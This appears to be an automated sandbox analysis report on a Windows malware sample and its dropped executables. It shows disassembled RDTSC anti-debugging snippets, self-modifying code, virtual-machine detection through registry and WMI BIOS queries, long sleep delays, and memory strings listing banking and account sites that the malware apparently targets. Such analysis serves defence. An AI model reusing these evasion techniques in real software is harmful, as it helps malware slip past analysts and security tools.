Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 654FB9 second address: 654FD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FA938DCFC36h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 654FD2 second address: 654FF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA9388D7B86h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 654FF3 second address: 655014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA938DCFC44h 0x00000009 popad 0x0000000a jg 00007FA938DCFC42h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 655014 second address: 655061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA9388D7B76h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jno 00007FA9388D7B76h 0x00000013 jmp 00007FA9388D7B7Ah 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b ja 00007FA9388D7B84h 0x00000021 jmp 00007FA9388D7B7Eh 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FA9388D7B7Ah 0x0000002d jmp 00007FA9388D7B7Dh 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 6551D6 second address: 6551E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA938DCFC3Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 65546E second address: 655477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 655477 second address: 655482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 655482 second address: 65549E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FA9388D7B78h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 6555E0 second address: 655605 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA938DCFC36h 0x00000008 jmp 00007FA938DCFC43h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FA938DCFC36h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 655605 second address: 65560F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA9388D7B76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 65573B second address: 655758 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA938DCFC47h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 655758 second address: 65576F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA9388D7B83h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 65576F second address: 65578E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA938DCFC45h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 657BD3 second address: 657BDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FA9388D7B76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 657BDE second address: 657BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 657BEB second address: 657BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FA9388D7B76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 657BF6 second address: 657BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 657BFC second address: 657C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 657C00 second address: 657C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ecx 0x0000000d jmp 00007FA938DCFC49h 0x00000012 pop ecx 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 657C80 second address: 657D14 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA9388D7B78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FA9388D7B78h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 movsx esi, bx 0x0000002a push 00000000h 0x0000002c pushad 0x0000002d mov dword ptr [ebp+122D1D30h], edi 0x00000033 or dword ptr [ebp+122D1D6Ch], esi 0x00000039 popad 0x0000003a push C1743AA4h 0x0000003f jmp 00007FA9388D7B81h 0x00000044 add dword ptr [esp], 3E8BC5DCh 0x0000004b and ecx, dword ptr [ebp+122D3CC5h] 0x00000051 push 00000003h 0x00000053 add dh, FFFFFF93h 0x00000056 mov dword ptr [ebp+122D1D13h], edx 0x0000005c push 00000000h 0x0000005e push 00000003h 0x00000060 js 00007FA9388D7B7Ch 0x00000066 push A86DBE25h 0x0000006b pushad 0x0000006c jmp 00007FA9388D7B7Fh 0x00000071 push ecx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 657D14 second address: 657D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xor dword ptr [esp], 686DBE25h 0x0000000d add dword ptr [ebp+122D1D9Eh], esi 0x00000013 lea ebx, dword ptr [ebp+1245BB04h] 0x00000019 mov ecx, dword ptr [ebp+122D3E2Dh] 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 jmp 00007FA938DCFC3Fh 0x00000026 jnp 00007FA938DCFC38h 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 657DD9 second address: 657E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnc 00007FA9388D7B78h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FA9388D7B85h 0x00000012 nop 0x00000013 pushad 0x00000014 mov bx, cx 0x00000017 mov eax, ebx 0x00000019 popad 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FA9388D7B78h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov dx, ax 0x00000039 or edi, dword ptr [ebp+122D3EC1h] 0x0000003f push 28BDFE9Dh 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 jmp 00007FA9388D7B7Eh 0x0000004c push eax 0x0000004d pop eax 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 657E4D second address: 657E53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 657E53 second address: 657E57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 658076 second address: 65807A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 65807A second address: 658080 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 658080 second address: 65809C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007FA938DCFC44h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 65809C second address: 6580A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 679ADF second address: 679AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA938DCFC36h 0x0000000a jmp 00007FA938DCFC3Ah 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 67831A second address: 678320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 6784A3 second address: 6784AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 67870C second address: 678715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 678872 second address: 678878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 678878 second address: 67889B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jno 00007FA9388D7B76h 0x0000000c popad 0x0000000d jmp 00007FA9388D7B7Eh 0x00000012 jg 00007FA9388D7B7Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 678AFE second address: 678B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 678B02 second address: 678B22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B84h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 67957B second address: 679587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 679587 second address: 679590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 679987 second address: 679996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jg 00007FA938DCFC3Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 6804D7 second address: 68052B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FA9388D7B89h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jnp 00007FA9388D7B81h 0x00000017 jmp 00007FA9388D7B7Bh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FA9388D7B88h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 68052B second address: 680530 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Special instruction interceptor: First address: 168A7A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Special instruction interceptor: First address: 31283E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Special instruction interceptor: First address: 31B52A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Special instruction interceptor: First address: 39CFD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Special instruction interceptor: First address: 4CFF37 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Special instruction interceptor: First address: 4CD1FE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Special instruction interceptor: First address: 6A6FCE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Special instruction interceptor: First address: 70D554 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Special instruction interceptor: First address: 8E57B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Special instruction interceptor: First address: 96A5AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9B57B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A3A5AF instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe

Code function: 0_3_014EAF87 rdtsc

0_3_014EAF87

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 475			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 8477			Jump to behavior

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe TID: 7724	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe TID: 7576	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe TID: 7552	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6360	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6360	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2700	Thread sleep count: 57 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2700	Thread sleep time: -114057s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7508	Thread sleep count: 475 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7508	Thread sleep time: -14250000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3700	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7512	Thread sleep count: 60 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7512	Thread sleep time: -120060s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7548	Thread sleep count: 138 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7548	Thread sleep time: -276138s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5188	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5188	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7548	Thread sleep count: 8477 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7548	Thread sleep time: -16962477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe TID: 4108	Thread sleep time: -150000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: skotes.exe, skotes.exe, 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmp, SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWosX
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: 14dd9bf3c4.exe, 0000000C.00000003.2183826912.0000000000E56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tYhGfsBri
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: vVJvxAfBDM.exe, vVJvxAfBDM.exe, 00000000.00000003.1364942295.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1438293982.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1625002553.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1460030860.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1477702526.0000000001495000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1438242809.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1625196417.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1438136460.000000000148A000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1459978791.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364990220.0000000001494000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696503903
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696503903
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
